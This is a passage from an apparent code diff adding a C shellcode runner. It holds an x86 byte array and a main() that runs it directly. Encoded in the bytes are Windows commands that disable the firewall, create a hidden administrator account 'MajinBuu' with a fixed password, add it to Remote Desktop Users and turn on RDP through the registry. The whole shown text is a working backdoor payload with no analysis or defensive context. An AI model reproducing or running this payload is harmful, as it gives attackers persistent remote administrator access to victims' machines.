+"\x68\x73\x79\x73\x74\x54\xff\x75\xdc\x8b\x45\xe4\xff\xd0\x89\x45\xd8\x31\xc9\x66\xb9"
+"\x4c\x45\x51\x68\x49\x53\x41\x42\x68\x64\x65\x3d\x44\x68\x65\x20\x6d\x6f\x68\x70\x6d"
+"\x6f\x64\x68\x65\x74\x20\x6f\x68\x6c\x6c\x20\x73\x68\x72\x65\x77\x61\x68\x68\x20\x66"
+"\x69\x68\x6e\x65\x74\x73\x54\x8b\x45\xd8\xff\xd0\x31\xc9\x51\x68\x2f\x61\x64\x64\x68"
+"\x79\x21\x21\x20\x68\x43\x40\x6e\x64\x68\x72\x6e\x55\x32\x68\x75\x20\x54\x75\x68\x69"
+"\x6e\x42\x75\x68\x20\x4d\x61\x6a\x68\x75\x73\x65\x72\x68\x6e\x65\x74\x20\x54\x8b\x45"
+"\xd8\xff\xd0\x31\xc9\x51\xb9\x90\x61\x64\x64\xc1\xe9\x08\x51\x68\x75\x75\x20\x2f\x68"
+"\x6a\x69\x6e\x42\x68\x73\x20\x4d\x61\x68\x61\x74\x6f\x72\x68\x69\x73\x74\x72\x68\x64"
+"\x6d\x69\x6e\x68\x75\x70\x20\x41\x68\x6c\x67\x72\x6f\x68\x6c\x6f\x63\x61\x68\x6e\x65"
+"\x74\x20\x54\x8b\x45\xd8\xff\xd0\x31\xc9\x51\xb9\x90\x61\x64\x64\xc1\xe9\x08\x51\x68"
+"\x75\x75\x20\x2f\x68\x6a\x69\x6e\x42\x68\x22\x20\x4d\x61\x68\x73\x65\x72\x73\x68\x6f"
+"\x70\x20\x55\x68\x65\x73\x6b\x74\x68\x74\x65\x20\x44\x68\x52\x65\x6d\x6f\x68\x75\x70"
+"\x20\x22\x68\x6c\x67\x72\x6f\x68\x6c\x6f\x63\x61\x68\x6e\x65\x74\x20\x54\x8b\x45\xd8"
+"\xff\xd0\x31\xc9\x51\x68\x30\x20\x2f\x66\x68\x20\x2f\x64\x20\x68\x57\x4f\x52\x44\x68"
+"\x45\x47\x5f\x44\x68\x2f\x74\x20\x52\x68\x6f\x6e\x73\x20\x68\x65\x63\x74\x69\x68\x43"
+"\x6f\x6e\x6e\x68\x6e\x79\x54\x53\x68\x20\x66\x44\x65\x68\x22\x20\x2f\x76\x68\x72\x76"
+"\x65\x72\x68\x6c\x20\x53\x65\x68\x6d\x69\x6e\x61\x68\x5c\x54\x65\x72\x68\x74\x72\x6f"
+"\x6c\x68\x5c\x43\x6f\x6e\x68\x6c\x53\x65\x74\x68\x6e\x74\x72\x6f\x68\x6e\x74\x43\x6f"
+"\x68\x75\x72\x72\x65\x68\x45\x4d\x5c\x43\x68\x53\x59\x53\x54\x68\x49\x4e\x45\x5c\x68"
+"\x4d\x41\x43\x48\x68\x43\x41\x4c\x5f\x68\x59\x5f\x4c\x4f\x68\x22\x48\x4b\x45\x68\x61"
+"\x64\x64\x20\x68\x72\x65\x67\x20\x54\x8b\x45\xd8\xff\xd0";
+
+int main(int argc, char **argv)
+{
+ int (*func)();
+ func = (int(*)()) code;
+ (int)(*func)();
+}
\ No newline at end of file